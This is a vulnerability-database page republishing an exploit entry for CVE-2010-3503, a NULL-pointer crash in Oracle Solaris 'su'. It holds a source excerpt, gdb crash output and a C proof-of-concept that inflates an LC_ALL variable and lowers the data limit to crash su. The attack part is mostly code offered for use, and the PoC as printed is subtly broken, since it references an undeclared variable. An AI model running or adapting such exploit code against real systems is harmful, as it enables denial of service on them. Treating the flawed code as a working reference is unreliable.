Lucene search
K

Oracle Solaris CVE-2010-3503 'su' Local Solaris Vulnerability

🗓️ 14 Oct 2010 00:00:00Reported by prdelkaType 
zdt
 zdt
🔗 0day.today👁 43 Views

'su' 'malloc' vulnerability in Solaris CVE-2010-350

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-3503
13 Oct 201000:00
circl
CVE
CVE-2010-3503
13 Oct 201023:00
cve
Cvelist
CVE-2010-3503
13 Oct 201023:00
cvelist
Exploit DB
Oracle Solaris - 'su' Crash
13 Oct 201000:00
exploitdb
EUVD
EUVD-2010-3499
7 Oct 202500:30
euvd
exploitpack
Oracle Solaris - su Crash
13 Oct 201000:00
exploitpack
NVD
CVE-2010-3503
14 Oct 201002:00
nvd
Oracle
Oracle Critical Patch Update - October 2010
12 Oct 201000:00
oracle
Oracle
Oracle Critical Patch Update - October 2010
12 Oct 201000:00
oracle
Packet Storm
Oracle Solaris su NULL Pointer
14 Oct 201000:00
packetstorm
Rows per page
=============================================================
Oracle Solaris CVE-2010-3503 'su' Local Solaris Vulnerability
=============================================================

521         for (j = 0; initenv[j] != 0; j++) { [1]
    522             if (initvar = getenv(initenv[j])) { [2]
    ...
    535                 } else {
    536                     var = (char *)
    537                         malloc(strlen(initenv[j]) [3]
    538                         + strlen(initvar)
    539                         + 2);
    540                     (void) strcpy(var, initenv[j]); [4]
  
'su' when creating new environment from inherited environment inherits values defined
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
a null ptr vulnerability in 'su'.
 
 
   Program terminated with signal 11, Segmentation fault.
   #0  0xd1244734 in ?? ()
   (gdb) x/i $pc
   0xd1244734:  mov    %eax,(%edi)
   (gdb) i r $eax
   eax            0x415f434c    1096762188 <- OUR STRING
   (gdb) i r $edi
   edi            0x0   0 <- NULL PTR
 
    Incurred fault #6, FLTBOUNDS  %pc = 0xD1244734
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
 
 
----[ PoC trigger 'su' as you.
/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!
 
   [email protected]:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault
 
  -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
 
struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;
 
int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}
 
 
// This was disclosed and patched in October 2010, CVE-2010-3503



#  0day.today [2018-04-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2010 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00654
43